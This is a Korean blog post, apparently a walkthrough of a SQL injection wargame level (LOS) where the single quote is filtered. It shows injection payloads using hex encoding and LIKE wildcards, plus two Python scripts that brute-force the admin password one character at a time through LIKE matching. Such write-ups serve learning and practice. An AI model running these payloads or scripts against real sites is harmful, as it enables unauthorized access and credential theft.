SMALL
이번 문제에서는
필터링 되는 부분 : '(single quote)
get 받는 파라미터 : pw
해결해야 되는 부분 : id 파라미터가 'admin' 일 경우
싱글쿼터를 닫아줘야 한다 안그러면 다 문자열 처리가 되어버린다.
?pw=1 || id like 0x2761646d696e27 %23
싱글쿼터를 우회 하려고 %26apos; (혼합된 URL/HTML 인코딩) 을 써서 해보았다.
?pw=1%26apos; || id="admin" %23
싱글쿼터로 보이기만 할 뿐 싱글쿼터로 들어가진 않았다.
LIKE 함수에 생각해 보다가 %기호로 접근해 보았다.
?pw=%0%
import requests
headers = {"cookie": 'PHPSESSID=[Your Session ID]'} # 자신의 쿠키값
for j in range(48, 127): # 반복문 숫자부터 시작함
params = {'pw': "%"+ chr(j) + "%"}
r = requests.get(url, params=params, headers=headers)
if "Hello guest" in r.text: # 응답값에서 텍스트가 Hello guest이면 출력함.
print(chr(j), end='')
자동화 코드로 인해 guest pw의 값들을 다 긁어왔다.(_ 는 제외 해야함) 이제 자리 배치가 중요한데 생각을 곰곰히 해봐야겠다.
LIKE문의 성질을 이용해 조사한 결과
?pw=8_%
요런식으로 하나하나 접근할 수 있다.
Hello admin 으로 조사해보았는데 아마 없는 것을 보니 예상으로는 guest랑 admin이랑 앞부분이 똑같은 것 같다.
예를 들어
Guest는 1234560이고
Admin은 1234569라면
123456까진 같지만 이후는 달라질 수 있을 것 같다.
그렇다면 앞부분 부터 점검해 나가면서 중간에 Hello admin 이 뜬다면 되게끔 스크립트를 짜보았다.
import requests
headers = {"cookie": 'PHPSESSID=[Your Session ID]'} # 자신의 쿠키값
p="" # pw 저장 변수
for i in range(1, 9): # 큰 반복분 8자리 이기에 9까지
for j in range(48, 128): # 작은 반복문 숫자부터 시작함
if chr(j) == "_": # _ 일경우 continue
continue
else:
params = {'pw': p + chr(j) + "%"}
r = requests.get(url, params=params, headers=headers)
if "Hello guest" in r.text: # 응답값에서 텍스트가 Hello guest이면 pw 저장하고 다음자리로
p += chr(j)
break
if "Hello admin" in r.text: # 응답값에서 텍스트가 Hello admin이면 출력하고 끝
p += chr(j)
print("[+] Admin Success! : " + p + "%")
exit()
결과값은 832%
와우.. 진짜 오래 걸리고 생각도 못했던 문제이다.. 하지만 재밌다 클리어!
'Network > LOS' 카테고리의 다른 글
[LOS_17]succubus (0) | 2019.08.30 |
---|---|
[LOS_16]zombie_assassin (0) | 2019.08.30 |
[LOS_14]giant (0) | 2019.08.28 |
[LOS_13]bugbear (0) | 2019.08.28 |
[LOS_12]darkknight (0) | 2019.08.27 |